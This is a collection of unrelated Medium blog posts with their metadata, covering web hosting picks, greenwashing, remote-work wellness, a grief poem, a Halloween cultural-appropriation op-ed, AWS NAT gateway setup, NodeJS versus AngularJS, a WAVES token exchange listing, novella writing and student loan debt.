I have listed down some of the best hosting providers I trust in.
A website that loads under 2 second is better but a site which loads under 600ms is awesome!
1-Green-Geeks:
I recommend green-geeks. Plus their up-time is 99.94% (tested) which is pretty good.
Free domain (means saving almost 10 bucks).
Free SSL.
You can host unlimited domains in the future on just one account.
Free SSL for every domain you host.
You don’t like it?. Cancel within 30 days and get a full refund!
You can use this link to get 30% off.
2-Dreamhost:
They are one of the best hosting providers in the market. Also, they are one of the only 4 hosting providers, WordPress itself recommended.
Guaranteed 99% up-time.
Get a free domain name.
You can host unlimited domains with one account,
Unlimited sub-domains and unlimited bandwidth, storage.
Doesn’t like it you will get an extreme 97 day refund period (no-one else is offering in the industry).
Unlimited My-SQL databases.
Use this link, and get a huge percentage off.
Covering up:
Phew! so that was it if you want more detailed comparisons and notes on hosting providers, check our other pages, here.
The reason to make this so much detailed was to let you know, everything deeply (extremely beginners friendly).
If you have any questions. I am happy to assist you, just leave a comment. | https://medium.com/@shabanasif/everything-you-need-to-know-about-how-websites-work-2c2550b36e7 | ['Shaban Asif'] | 2020-12-22 06:36:34.361000+00:00 | ['Mindmap', 'Web', 'Website', 'Questions Answers', 'Wordpress Web Development'] |
What is Greenwashing? And How To Avoid It | I’ve been seeing many posts about greenwashing everywhere on social media lately so I thought I’d take the time to explain to you all everything you need to know about greenwashing. It’s something that everyone needs to be aware of so they can avoid it and call these companies out. It’s important to care about the environment and to do what you can to protect it. Greenwashing is just one more obstacle that you will need to look out for and overcome.
What is Greenwashing?
Greenwashing is essentially a marketing scheme where a company claims to be sustainable and eco-friendly but isn’t. They pay money to advertise themselves as sustainable and eco-friendly. They are able to exploit your emotions to buy what they are selling so they can continue to exploit nature and workers as usual.
It’s easier for them to pay to advertise the product as sustainable instead of paying and working towards achieving truly sustainable goals.
Why is it a problem?
People like you and I are trying to become more conscious consumers by buying products that are better for our health, don’t harm the environment, and are cruelty-free. More and more people are choosing to buy eco-friendly products since ecological challenges are becoming more pressing.
Unfortunately, companies have found a way to exploit those good intentions. They convince consumers that their product is amazing and that it was was ethically and sustainably made.
The reason greenwashing is a big problem is because more individuals are contributing to the climate crisis, plastic pollution, and animal cruelty without even realizing it. The company makes more profit and the consumer is happy to buy more from them, meanwhile, workers and nature are exploited.
It’s not the consumer’s fault by any means. All the blame goes on the company. But there are things you can do to stop yourself from being misled by these dirty companies and become a truly conscious and sustainable buyer.
How To Avoid Greenwashing
So how are we supposed to know if a company is lying to us or not? Well, there are a few things to look out for:
01. Read the label
A label can hold a lot of information. Reading the small print will give you an indication of whether the item is eco-friendly.
02. Read the ingredients
I would say this is one of the most important parts to look at. Knowing what ingredients (and where they come from) is a sure way to know if the product is sustainable. If there’s an endless list of ingredients, for example, it probably isn’t as ‘natural’ as they claim. Also, a big one to look out for is unsustainable palm oil.
03. See where it was made
Check what the country of origin is. I’ve seen some labels were the place where the raw material comes from, where it’s manufactured, and where it’s actually sold are different countries (and often far away from each other). This cannot be sustainable because of the sheer amount of carbon emissions that are released into the atmosphere.
04. Look out for certification
There are some third-party certification labels to look out for that will show you if the company is lying to you or not. Some of the most important labels to look out for are:
FSC (Sustainably sourced wood)
Fairtrade
RSPO (Sustainable palm oil)
Non-GMO Project
Here are some more certification labels you need to be aware of.
05. Watch out for ‘eco-words’
There are many words that suggest that a product is good for the planet. Some of these include:
Eco-friendly
Natural
Biodegradable
Non-toxic
Green
The list goes on. However, these terms don’t have any real, legal meaning so companies can use them without getting into trouble. Even if the product has one natural ingredient in it, they can put in big letters ‘natural’, even though it could also contain many toxic chemicals. It’s these misleading claims that you need to keep your eye out for.
06. What company is it?
There are companies that are harmful to the environment but release one product that is eco-friendly and suddenly become sustainable in the eyes of the public. Even if that one product is actually green, don’t support a company that is polluting and destroying the natural environment.
07. Look for proof
If a company doesn’t support their claims, they are probably not true. How transparent are they? Basically, how much information is the company giving you. If they are not giving away too much, it’s very likely they hiding something shady.
08. Do research on the company
Before heading over to the store or purchasing something online, do a thorough search on the company. Know what you are buying and where you are putting your money. Don’t support companies that are only doing harm to the planet.
How to act when you spot it
First of all, don’t buy their product. Don’t support dirty companies that are causing harm to people, animals, and the environment. So when you find a company that you believe is greenwashing then avoid them completely.
Second of all, contact them. Send them a message on social media or email them. If the company gets enough complaints and emails about people’s concerns, it’s possible they could take action and do something about it.
Last but not least, tell others about the information you have found and tell them what companies to avoid. Make those around you aware of who is greenwashing and try to educate them on how to spot it themselves.
Examples of Greenwashing
Nike — Nike started a campaign called ‘ Move to Zero ‘ where they aim to go carbon-zero and zero-waste. If it sounds too good to be true, it’s because it is. Nike does not have any plans to do this. It’s more of a hope than a target to them.
Ryanair — Ryanair said that they had the lowest carbon emissions in Europe compared to other major airlines. However, this was inaccurate and misleading information and just another form of greenwashing.
H&M — This fashion brand claimed to have plans to make their clothes more sustainable. However, no fashion brand can be sustainable if it updates its inventory every week throwing away most clothes in landfills and producing tonnes of carbon emissions. H&M is a fast fashion brand and fast fashion can never be eco-friendly. They did little to nothing to make themselves more sustainable.
Conclusion
Greenwashing deeply concerns me and it should concern you too. We already had the problem of companies exploiting the environment but at least everyone knew that. Now, not only are they hiding the fact that they are destroying the planet, but they are going as far as to say they are doing good.
This is outrageous behavior and we can’t keep funding them. Closely look at what you are buying and be fully aware of what the company is doing and how the item was made exactly. It’s the only way to become a conscious consumer.
All images from Unsplash | https://medium.com/@terramovment/what-is-greenwashing-and-how-to-avoid-it-dbd85587c9aa | ['Terra Movement'] | 2020-11-15 14:42:00.494000+00:00 | ['Eco Friendly', 'Shopping', 'Consumerism', 'Greenwashing', 'Environment'] |
Making Space for Workplace Wellness | Working remotely comes with many perks, from setting your own hours to cutting down on your commute. But, where do the extra hours go? Many of us are constantly connected and forget to make space for our own health and wellness as a result.
We recently hosted a panel with speakers John Occhipinti, CEO at Naturebox, and Diana Marchese, Head of People Experience at Snyk, to discuss strategies on creating space between your work and home life for greater overall wellbeing. Check out our webinar recording here:
Transitioning Teams From Offline To Online
For many teams, the transition from in-office work to remote work was sudden and comprehensive. At Naturebox, the entire team went remote when the lockdown struck. To more effectively allocate funds, Naturebox then terminated its traditional office space lease. The funds previously put towards rent were redirected to flexible workspace options like OnePiece Work.
This thoughtful shift enabled the Naturebox team to maintain productivity while working remotely. But, this required an adjustment: the leadership team focused on maintaining team engagement with longer daily standup meetings to check in on team members, asking questions like “How’s your day going?”, “How are you feeling?”, and “How are the kids?”. These meetings helped replace some of the in-office interactions that were lost in the transition to online work.
“We need to learn how to take the analog world to the digital and continue to be creative.” — John Occhipinti | CEO at Naturebox
At Snyk, the switch to online work prompted the leadership team to focus on transparency. The leaders informed the rest of the team what to expect so that everyone was on the same page. The pandemic brought about intense uncertainty. By communicating information on travel lockdowns and office plans in a consistent manner, Snyk was able to reassure it’s teams and relieve some anxiety.
The Long-Term Potential of Pandemic-Related Changes
Studies have shown that habits develop after 30 days of consistent repetition, remote workers have developed their own work and family habits from home by now. With nine months of repetition, these habits are ingrained.
When teams return to the office, employees will likely be more productive in a hybrid-work model. Research proves that 37% of all jobs can be done remotely, meaning that a hybrid-work model will not only be possible but will be favorable for many occupations.
Another effect of the pandemic that will likely linger is work accessibility from any location. Previously, some jobs were inaccessible due to zip code. With the option of remote work, accessibility to various positions will improve for employees across the country.
Fostering Respect For Work-Life Balance
There are many strategies that leadership teams can implement to build a culture that respects work-life balance. When workers are constantly on-camera in a Zoom meeting, it unconsciously triggers the body’s fight-or-flight response. This produces unnecessary stress that can diminish one’s sense of work-life balance.
In a video call, the natural nuances of a conversation are absent. To appear engaged in a conversation, one must be staring at a screen. To amend this issue, leaders can encourage calls off-camera. Snyk, for example, has implemented “walking 1-on-1s”, in which employees are encouraged to take their phone calls outside — not over Zoom.
Effective Home Offices and Managing At-Home Distractions
While every home is different, encouraging workers to find a designated workspace will help clarify the boundary between work and home life. The home workspace needs to be well-defined and daily schedules need to be well-structured. Spending time with the kids, taking time away from the desk, and practicing mental wellness are all examples of activities that workers can incorporate into their schedules for a positive work/home balance.
The ideal work environment won’t be the same for every worker. For some, moving between a home office, kitchen table, and other home environments will allow for optimal productivity. But, more importantly, each worker needs to be aware of their own wellness. Each individual experiences and handles stress differently. Team members need to take breaks as necessary, especially when the body is reacting negatively to the environment. After taking a break, one can get back into a healthy state of mind and return to the flow of work. Awareness of when to stop is essential to burnout prevention, as well as personal wellness.
Looking Forward To Post-Pandemic Workplace Improvements
For all companies dealing with hardships due to COVID-19 and other stressors, returning to your core values is the answer. Demonstrating these values and communicating them to the rest of the team will lead your company through any hardship.
Listening to team members’ needs is a key improvement to post-pandemic workplaces. By being flexible and accommodating, leaders can make their teams feel recognized and appreciated. The ability to work from home is a privilege — by supporting communities and those who can’t work remotely, companies can bring people together amidst overwhelming challenges. | https://medium.com/@onepiecework/making-space-for-workplace-wellness-e4fcda164b8 | ['Onepiece Work'] | 2020-12-17 22:13:32.366000+00:00 | ['Work From Home', 'Work Life Balance', 'Remote Working', 'Company Culture', 'Wellness'] |
Memories of 25 (A Quadrille) | Memories of 25 (A Quadrille)
An Ode to My Late Grandmother
My late Maternal Grandmother. Time period? Unknown to me. Photo enhancement? My Own.
cancer stripped you
of life.
25 needed you,
but
you were already
gone. claimed by
a disease that
terrifies me in
my sleep. I become reacquainted —
with you in nature and
in the glossy pupils of
blinkless eyes.
you are alive, even in
death. | https://medium.com/a-cornered-gurl/memories-of-25-a-quadrille-9969bfba2ffd | ['Tre L. Loadholt'] | 2017-11-28 21:19:10.822000+00:00 | ['Loss', 'Quadrille', 'Death', 'Writing', 'Family'] |
Halloween Costumes, Cultural Appropriation, and The Death of Fun | I have met the enemy of All Hallows’ Eve enjoyment.
And it is a small but very judgmental, vociferous group.
For those of you who follow me on Twitter, you’ll know that I’ve declared intellectual war on those who aim to quash our freedom of expression. Much of my recent Twitter activity has been devoted to battling the idea that people, in particular white people, are banned from wearing costumes that exhibit a culture they don’t belong to. At least, that’s the sentiment expressed by those who have abolishing innocuous buffoonery in their sights.
Horseshit, I say. Complete and utter horseshit.
People in an enlightened society like ours have the capacity to differentiate between harmless charades and genuine racial hatred, I declare with a raised fist and puffed chest. Let’s encourage them to exercise it.
No, they say, with closed minds and blaring mouths. It’s insensitive. The feelings of a few must come before the pleasure of the majority.
Because the tyranny of dressing up as something scandalous is so oppressive to certain groups that have been historically marginalized, Halloween is now an acceptable casualty on the quest for a more just and humane future for all.
And the weapon that’s used to bludgeon the carefree masses into ideological submission every Halloween?
Cultural appropriation.
Specifically, accusations of cultural appropriation.
In the Woke Folk Lexicon, cultural appropriation is generally defined as the act of adopting aspects of one culture by members of another culture. While not inherently heinous, the term takes on a more poisonous connotation in cases when members of a culture considered “privileged” adopt elements from a culture considered “marginalized”.
To be fair, there is a modicum of validity to the concept; most people would agree that trivializing facets of another culture in a way that’s offensive or perpetuates negative stereotypes of it should be frowned upon. And perhaps there is some risk of a cherished custom becoming diluted when others begin to embrace it in different ways.
However, accusations of cultural appropriation are now far too numerous, with many innocent displays of affection from members of one culture to another being thrust into the same division of bigotry, right alongside acts that would make the most fanatical Klan member blush.
This may be because the intent of offenders no longer matters; it’s the cultural crime that matters.
If you’re white and you wear a sombrero and drink margaritas and partake in Cinco de Mayo festivities because your friends invited you out for a good time, then you better have an apology prepared for when your social sin is shared with the general public.
Another reason why cultural-appropriation-as-an-evil should be met with fierce scrutiny is the fact that we wouldn’t have most of the comforts of modern civilization if it weren’t for cultural appropriation. Sublime works of art, music, film and other forms have birthed from the marriage of various components of disparate cultures, along with written language, math, science, technology, philosophy, etc.
Yes, even Halloween as we know it came from cultural appropriation; ancient Celtic harvest festivals, in particular the Gaelic festival Samhain, are generally believed to be the source of today’s Halloween practices.
Because Halloween is largely based on people pretending to be something they’re not for a day, those who participate in the tradition are, of course, prime targets of those with porcelain sensibilities, loud opinions, and too many Twitter followers.
Halloween is the one time of year where we can all act edgier, scarier, and more sensual than we usually are.
It’s when we can shed our inhibitions, let our creativity run wild, break some taboos, and practice our freedom to shock, gleefully sticking up our middle fingers to the shackles of political correctness and polite society.
And yet a deafening — albeit, microscopic — cultural splinter group has made it their mission to slaughter any joy that can be had while temporarily assuming the identity of another in the name of whimsy. Despite this group’s diminutive size, there’s no denying that they’re the ones with the social megaphone, declaring their rigid idea of kindness on the rest of us without thought or remorse for its ramifications on even the most trivial aspects of our daily lives.
By placing such Victorian dictates on what we can wear, this group removes the fun, magic, and mystery of a holiday that, in many ways, is about embracing the darkness and laughing at death.
If we can briefly put away our fears of the Great Unknown, then surely we can briefly put away our insecurities about race and culture?
Halloween must return to what made it so diverting and seductive. We as a collective — not fragmented — culture must raise our tolerance for offense and give people the benefit of the doubt; if you see someone donning a costume that’s influenced by your culture, ask yourself this: “Is that person displaying their hatred of my people, or do they just want to quit being themselves for a while?”
It’s most likely the latter.
What Woke Folk call “appropriation”, I call “exchange”, “preservation”, and “openness”.
Adherents of cultural-appropriation-as-an-evil don’t understand that by inviting others to participate in your culture, you’re reducing the boundaries that divide us. When I as a Mexican tell white people that they’re not allowed to dress up as a bandito for Halloween or engage in Día de Muertos festivities, do you really think I’m promoting racial tolerance?
One of the great things about cultural appropriation is that it gives us an opportunity to share, enjoy, and expand each others’ cultures. By treating the customs and traditions of our respective cultures as dynamic and malleable, and welcoming outsiders interested in exploring them and celebrating in their own way, we can only gain more friends and supporters.
And what better time to encourage such social fluidity than the holiday that encourages us to turn off our restraint and scoff at the hang-ups of life?
I’m not proposing that everyone should adorn themselves in the worst, distasteful costumes they can. And certainly some forms of extremely racially charged attire should be discouraged.
What I AM proposing is that we should think twice before calling out a complete stranger for wearing something that upsets us in order to win social points, and take a moment to recognize that that person probably just wants to have some breezy entertainment.
This Halloween, let’s stop allowing our desire to provoke, frighten, and arouse be held hostage by an authoritarian few, and revel in the forbidden fun that comes with exchanging our identities for something more outrageous, the beau monde’s edicts be damned.
For culture is a dish, like Halloween candy, that’s best shared with everyone.
If you want some humor with your horror, check out my publication: | https://joegarzacreates.medium.com/halloween-costumes-cultural-appropriation-and-the-death-of-fun-9ebbc0cd5d8b | ['Joe Garza'] | 2019-11-05 20:28:50.832000+00:00 | ['Social Media', 'Culture', 'Halloween', 'Society', 'Life'] |
Using NAT Gateways in AWS | In AWS you can design your own network using VPC (Virtual Private Cloud). You can assign your own IP address ranges and split your network into Public and Private Subnets. In simple words, Public Subnet is like Green Zone where traffic from the internet is allowed while Private Subnet is DMZ where no direct internet access is allowed.
Problem
So what if we need to install/update/upgrade software, utilities or OS on EC2 Instances running in a private subnet? one option is to manually FTP to the box and install it but sometimes is not feasible.
For scenarios like these AWS provides us NAT Gateways (previously NAT Instances which are going to obsolete soon).
Let’s see how to setup NAT Gateways in your VPC
Solution
To configure NAT gateway follow these steps
Make sure you have Internet Gateway route defined in Routing Table Get the Public Subnet ID where your NAT gateway would be deployed Create NAT Gateway Test the Internet connectivity
Diagram courtesy of AWS Documentation
In my example, I have two EC2 Instances running one (web-tier) in the Public subnet and other (app-server) in the Private subnet as shown in the slide
Note: In my example, I am trying to install a git on my EC2 instances in private subnet. The command will fail due to no internet connectivity.
Verify Routing Table for Internet Gateway Route
Verify in your public subnet you have internet gateway route defined as shown in the slide
Create NAT Gateway
Go to VPC > NAT Gateways and click Create NAT Gateways Select Public subnet where your NAT Gateway is going to deploy Select existing EIP or click Create Allocate Elastic IP (this will create a new EIP and assign to NAT) Wait for NAT Gateway Status to become available
Define NAT Gateway Routing in Private Subnet
Make sure NAT Gateway is up and running Click on Routing Table and select private subnet where you want to enable internet access Create Edit and enter 0.0.0.0/0 in the source and select your NAT from the list Click Save
Verify EC2 Instances
Once these steps are done you can connect to your instance running in the private subnet and install updates
Clean up
To clean up what we just did in this post, follow these steps
Delete the NAT gateway Delete the NAT routing in private subnet routing table Release the Elastic IP (yes you have to do it manually).
Hope you like this post, please leave a comment, like or clap or share your suggestions on any topics you like us to post.
@IamZeeshanBaig
About DataNext
DataNext Solutions is US based system integrator, specialized in Cloud, Big Data, DevOps technologies. As a registered AWS partner, our services comprise of any Cloud Migration, Cost optimization, Integration, Security and Managed Services. Click here and Book Free assessment call with our experts today or visit our website www.datanextsolutions.com for more info. | https://medium.com/datanextsolutions/using-nat-gateways-in-aws-455f88887143 | ['Zeeshan Baig'] | 2018-06-21 05:44:25.150000+00:00 | ['Cloud', 'Network', 'Security', 'Vpc', 'AWS'] |
Understanding Important Differences Between NodeJS And AngularJS | With more and more businesses going digital, app development companies have started creating more unique and robust applications & websites for their clients. For developing interactive web applications to boost the user-experience, everyone prefers the two most popular frameworks, namely — NodeJS and AngularJs.
These two JavaScript technologies are similar yet different from each other. They have varied functionalities and performance levels when it comes to creating applications. Which to choose is a difficult task. Therefore, in this blog, we will understand the ins and outs of both frameworks.
What is a JavaScript Framework?
When any developer thinks of creating a platform for its client, he chooses the best JavaScript-based website or application layout, which can help achieve the expected desire. The JavaScript framework is nothing but a set of JavaScript code libraries that are pre-written to use in various features’ routine development process. It helps automate the repetitive process of using features like templating and two-way binding.
The JavaScript frameworks are used to design the website as it makes them more responsive. Some of the most popular JavaScript frameworks are — AngularJs, React, VueJs, and NodeJs.
What is NodeJS?
NodeJS is one of the most popular open-source server frameworks compatible with many different platforms, like Mac OS X, Windows, and Linux. It is mostly used in creating networking applications. Besides this, the applications that need to anticipate a lot of scalabilities are developed using NodeJS.
Features of NodeJS
1. Scalability
NodeJS applications can be scaled in both a horizontal and vertical manner to help improvise the app’s performance.
2. Server Development
With the amazing in-built APIs, the NodeJS developers can create many different servers like TCP server, DNS server, and HTTP server.
3. Enhanced Performance
The NodeJS developers can efficiently perform non-blocking performances and enhance their web applications’ performance using this framework.
4. Open-source
NodeJS is entirely open-source and free to download and use.
5. Unit Testing
With NodeJS, the developers get a unit testing named Jasmine. It enables them to test the code easily.
Benefits of NodeJS
Develop real-time web apps
Higher performance
Server-side coding
Communicational operations
Quick and Scalable
NodeJs Architecture
When we talk about NodeJs, it is considered one of the finest server-side platforms that enable developers to build easy and scalable network apps. It uses a non-blocking I/O and event-driven model that makes real-time apps that are lightweight and efficient.
1. Highly Scalable
Using a single-threaded model with event looping, NodeJS helps the server respond in a non-blocking manner and makes the server scalable. With the help of NodeJS, the developers can work on the old programs and provide services to it, which can make it a much larger number of requests.
2. Event-driven and Asynchronous
In the NodeJs library, all the APIs are asynchronous. This means that the NodeJS server doesn’t wait for an API to return the data, it directly moves to the next API and notifies the event mechanism.
3. No Buffering
By using non-blocking I/O calls, NodeJs operates a single thread and allows it to support a massive number of concurrent connections without switching the context of the thread. Here, the design of sharing a thread observes a pattern that can help in building an accompanying app.
Popular Applications Created Using NodeJS
NodeJS is used to create applications in various fields like Law, Computers, Electronics, Lifestyle, and more. There are more than 179k websites in the market that are created using NodeJS. Some of the most popular apps created using NodeJS development services are — PayPal, Linked In, Netflix, eBay, Yahoo, and GoDaddy.
What is AngularJS?
AngularJS, the JavaScript framework, is an open-source platform maintained by Google. It enables the developers to create web applications that focus on the client-side. The AngularJS developers use HTML as a template language, and syntax is done to express the application’s components.
Features of AngularJS
1. MVW Architecture
In Angular, we have MVW (Model-View-Whatever) architecture on the top of the MVC framework. Here the view is basically manipulated, and it remodels DOM to update the data.
2. POJO Model
POJO model stands for Plain Old JavaScript Objects model. It is used by the developers to analyze the data flow of the development process and helps to create loops. Besides this, POJO also enables clear code to create a customer-building app.
3. MVC Framework
When we talk about the AngularJS framework, it comprises three paradigms — Model, View, and Controllers. The MVC model helps the developers to combine the logic without the use of code automatically.
4. Easy to Use
AngularJS is considered one of the easy to use frameworks. It also helps to decouple the DOM manipulation.
Benefits of AngularJS
HTML debugging
Huge developing community
Quick scaffold
Perfect documentation
Comprehensive solution
AngularJS Architecture
The AngularJS architecture follows the MVW model, which makes it capable of supporting different patterns like the Model-View-View or Model-View-Controller model. Let’s understand the Model-View-Whatever (MVW) architecture in detail.
1. Model
Model is the lowest level of responsibility where the data is maintained and managed. This level responds to the request from the view and gets the instructions from the controller for any kind of updates.
2. View
The view is responsible for showcasing various kinds of data to the users.
3. Controller
The controller interacts between the view and the model. It responds to the input from the user and performs interaction.
Popular Applications Created Using AngularJS
AngularJs enables the developers to create powerful applications by keeping the features in mind. There are around 383k web applications in the market created by AngularJs. Some of these are — Upwork, Lego, Weather, IBM, DoubleClick, JetBlue, Freelancer, and more.
Compare — NodeJS Vs. AngularJS
Both NodeJs and AngularJS are the most popularly used JavaScript technologies in the world. These technologies have their own benefits and help the developers in their own ways to create a wonderful application. NodeJS is a well-known cross-platform runtime environment, while on the other hand, AngularJS is a JavaScript framework. Here let us understand the important differences between these two technologies.
1. Installation
With NodeJS, the developers can write applications in JavaScript. But the app needs an environment like macOS, Linux, and Windows to run on. Therefore, app developers install NodeJs to create a development environment. While on the other hand, there is no need to install AngularJS. The developers only need to embed the files in the codebase.
2. Web Framework
Another point of comparison is a web framework. AngularJS is one of the most popular web frameworks used to automate the app development task and creating different applications. While NodeJS is not used as a web framework, they select NodeJs based frameworks like Express.js, Sails.js, and Meteor.js.
3. Working with Data
When it comes to implementing the MVC architecture pattern, AngularJS supports two-way data binding. AngularJs is a technology that does not offer any feature to write the query in the database. While, if we talk about NodeJS, it allows the developers to create non-relational database queries.
4. Important Features
NodeJS and AngularJS are the frameworks that comprise the best features that enable the developers to create top-rated applications. One such common feature is the support of MVC architecture. When we separately list out their differences, we can get a clear idea of which framework can be used in creating which type of application.
AngularJs allows the developers to use HTML as a language for creating templates. It enables creating single-page & dynamic web apps with features like filters, templates, data binding, scope, deep linking, dependency injection, and directives.
On the other hand, NodeJS is a framework that comes with an array of features for the developers to create a server-side and networking app. With NodeJs, the developers can simplify the development process of single-page websites, similar I/O intensive websites, and video streaming sites.
5. Programming Language & Support
When we talk about NodeJs and AngularJs, they both support a lot of programming languages besides JavaScript. NodeJS supports TypeScript, CoffeeScript, and Ruby. While AngularJs supports TypeScript, CoffeeScript, and Dart.
Besides this, NodeJs also supports functional, event-driven, sub/pub programming paradigms, concurrency-oriented, and object-oriented programming languages. While AngularJS supports event-driven, functional, and object-oriented programming languages.
6. Core Architecture
NodeJs is a cross-platform environment that is based on Google’s V8 JavaScript engine. It is a framework written using various languages like C, C++, JavaScript. On the other hand, AngularJs is a product of Google. It is developed as a web app development framework that follows syntax rules. This framework is written using JavaScript.
To Wrap Up With — AngularJs is a popular client-side framework & NodeJS is a well-known runtime environment!
AngularJs and NodeJs are both open-source platforms. AngularJS is used to create single-page client-side web apps. While NodeJS is used to develop server-side apps. Both these can be combined with isomorphic web apps, but they have their own architectures. One can not say that one of these is better than the other one as both these frameworks focus on creating different applications. Therefore, it’s all about choosing the right technology that suits your application type and hiring the best AngularJS or NodeJS development company. | https://medium.com/weekly-webtips/understanding-important-differences-between-nodejs-and-angularjs-e222d4b9fa26 | ['Nelly Nelson'] | 2020-11-25 06:03:11.588000+00:00 | ['Development', 'Angular', 'Node', 'Nodejs', 'Angularjs'] |
WAVES listed on OKEX | The world’s second-largest exchange by trading volume now offers WAVES trading against BTC, ETH, USDT and OKB.
The Waves Platform is thrilled to announce its token will be listed on OKEX, one of the world’s foremost cryptocurrency exchanges. WAVES will join the extensive list of coins and tokens offered by the platform, with four trading pairs: Bitcoin, Ether, Tether and OKB, the exchange’s global utility and loyalty token.
According to OKEX, the schedule for the listing is as follows:
1. WAVES deposit — 08:00 Jun 14 (UTC +0)
2. WAVES spot trading (BTC, ETH, USDT, OKB Market) — 08:00 Jun 15 (UTC +0)
3. WAVES withdrawal — 10:00 Jun 18 (UTC +0)
“We’re really pleased to be able to announce this partnership with OKEX, which has established itself as a gold standard for crypto trading,” comments Sasha Ivanov, CEO of Waves. “The ability to trade WAVES against multiple different cryptos within such a large market is tremendously valuable in terms of liquidity, and the USDT market allows traders to park funds in a stable currency while keeping them within the crypto economy. Listing on OKEX will open the Waves Platform to a completely new audience.”
Founded in 2014, OKEX has received investments from VenturesLab (co-founded by Tim Draper), Ceyuan Ventures, Giant Network Group, Longling Capital (founded by the Chairman of Meitu), Qianhe Capital Management, and eLong Inc. This solid foundation has drawn experts in technology and business from the world’s top organisations, allowing OKEX to offer safe, stable and reliable trading services through internet and mobile solutions. | https://medium.com/wavesprotocol/waves-listed-on-okex-cc5e8e1ea05b | ['Waves Tech'] | 2018-06-15 12:28:39.633000+00:00 | ['Trading', 'Blockchain', 'Cryptocurrency', 'Waves', 'Bitcoin'] |
Falling in Love With Novellas | What is a novella?
Grandmaster of Science Fiction Robert Silverberg describes the novella as “one of the richest and most rewarding literary forms” and I couldn’t agree more. It is the literary equivalent of skipping the extra-large caffé grande and sucking down an espresso for an instant jolt of gratification. But what exactly is a novella?
Well, to put it simply, a novella is a piece of narrative prose somewhere between a short story and a full-length adult novel. Average word counts for this style of work vary quite a bit, depending which writing society or publisher you ask!
As a rough guide, a novella is between 20,000 and 50,000 words. They tend to be quick paced narratives with only a handful of characters and often no subplots. Whereas a novel might take five or so hours (or more) to read, a novella is intended to be enjoyed in one or two sittings.
A novella can make a great candidate for adaptation into a film script, because the plot is so focused and driven. While there are many, many novellas out there, here are just a few of the most well-known ones:
A Christmas Carol by Charles Dickens (29,000 words)
Rita Hayworth & the Shawshank Redemption by Stephen King (38,000 words)
The Time Machine by HG Wells (32,000 words)
The Strange Case of Dr Jekyll & Mr Hyde by Robert Louis Stevenson (25,500 words)
Of Mice & Men by John Steinbeck (30,000 words)
The Metamorphosis by Franz Kafka (22,000 words)
Lots of the most prolific and well-known writers of the 19th, 20th and 21st centuries have written and released really successful novellas.
Image by Gerhard Gellinger from Pixabay
How do you write a novella?
There are lots of similarities between novellas and full-length novels but there are also some important differences to bear in mind while you’re planning and drafting your story:
Pace & Plot. Good novellas keep the central storyline in sight at all times. Main plotlines are rarely too complex; the narrative is usually tight, fast paced and very focused, and there is often no subplot. The limited word count of this story style tends to be fully committed to pushing the story along and rapidly developing a small number of key characters. Conflict is usually introduced very early, often within the first few pages.
Cast & Settings. That short word count comes into play yet again with your cast of characters and the scene settings. Novellas typically feature very small casts (aim for ten or less), very focused character development, condensed backstory (only where necessary) and take place in a relatively small number of different settings. Don’t waste words where you don’t have to.
The Edit. Perhaps the most painful part: be ruthless in your edit! Strip out everything which could be classified as ‘filler’ and remove anything which doesn’t move your story along or contribute to key character development.
Image by DarkWorkX from Pixabay
Publishing novellas
When it comes to publication, the novella is a slightly different animal to the full-length novel. Unless you’re already a well-known author, you may find more success in the traditional publishing route with smaller publishing houses or through magazines which host a publishing platform. While many publishing professionals love and admire the novella form, they aren’t always quite as easy to sell as full-length novels — although there are always exceptions!
Stephen King is quoted as calling novellas “an ill-defined and disreputable literary banana republic” in relation to commercial publishing but let us also remember that King’s novella anthology Different Seasons contained the works Rita Hayworth & the Shawshank Redemption, and The Body (later turned into cult classic film Stand by Me) — quite possibly some of his best work. The film adaptations of both these stories went on to receive multiple Oscar nominations and other awards.
Ready to get started on your own great novella?
Novellas are wonderful writing projects to work on and, for some writers, can be a useful stepping stone between short stories and learning to write a full-length novel.
Now you have all the basic building blocks you need to start working on your next novella! | https://medium.com/plot-factory/falling-in-love-with-novellas-a1f941926c13 | ['Liz Hudson'] | 2020-02-28 09:25:18.827000+00:00 | ['Novella', 'Book Writing', 'Writing', 'Creative Writing', 'Writing Tips'] |
What Will It Take for Joe Biden to Cancel Student Loan Debt? | Although it is now taken for granted that a college degree is a fail-safe, if not a completely necessary precondition for economic stability, that has not always been the case. Rather, political-economic circumstances during the 1960s produced this common-sense understanding of higher education as the ticket to the good life.
Photo by History in HD on Unsplash
During this period of slow economic growth, political elites began to assert education as a form of human capital whose value could be realized on two dimensions. On one level, allowing more Americans to have access to higher education would, according to this logic, engender a future workforce that was more skilled and, thus, productive. This productivity would, in turn, stimulate the growth of the capitalist economy.
On another level, expanding the bounds of higher education would mean that more individuals could be absorbed into this system — namely, those whose racial and gender status had historically precluded their admission into academe. Unsurprisingly, how to make this happen rested on the timeworn political question of “where would the money come from?”
One answer was student loans.
Lyndon Johnson signed the Higher Education Act into law in 1965, establishing grants for low-income students (later renamed as “Pell Grants”), as well as loans for those ineligible for these grants but who needed additional assistance paying their tuition. However, Reagan slashed federal funding for Pell Grants, part and parcel of his general attack on social programs and the idea of the public good more broadly.
Photo by Library of Congress on Unsplash
Naturally, fewer and smaller Pell Grants meant that more individuals were required to “finance” their education through student loans, effectively turning a college degree into a private investment rather than a social good. It is not surprising, then, that many students have opted for high-paying fields such as business and marketing, which have exploded over the past few decades, while enrollment in the humanities has plummeted. This is a rational (if somewhat regrettable) decision that many students (expected to act as rational consumers) make, given that the former tends to offer monetary payoffs more significant than the letter. It is, in neoliberal parlance, a better investment.
Reshaping the university in a corporate image was, of course, all a part of the bitter class war waged by the corporate elite against working people — a class war which, as Noam Chomsky suggests, is the essence of neoliberalism.
This corporate assault on higher education has had profound consequences, particularly for our ability to cultivate a democratic polity—implications that should be apparent given this moment of democratic backsliding. As Wendy Brown explains in Undoing the Demos: Neoliberal’s Stealth Revolution:
These economic and cultural shifts, the new college ranking systems that endorse them, along with the dismal contemporary economics of higher education itself exert enormous pressures on colleges and universities and especially on liberal arts curriculums to abandon all aims and ends other than making students “shovel ready” when they graduate. Other values — of being a well-educated or worldly person, of being discerning in relation to information gluts or novel concentrations and circulations of power — cannot and do not defend themselves in terms of student desire or demand, economic necessity or benefit, or cost efficiencies within the university.
Reflecting how incontestable this economistic understanding of higher education has become, public opinion regarding education as a means for future economic prosperity remains strong. There is also scant evidence to suggest that Americans’ collective expressions of meritocratic ideology — or the idea that one’s hard work is directly responsible for their material well-being — have waned in any significant way. For these reasons, Biden will likely not cancel student debt absent mass collective action that leaves him with little political recourse.
So how might those who are committed to student debt cancellation go about organizing around this issue?
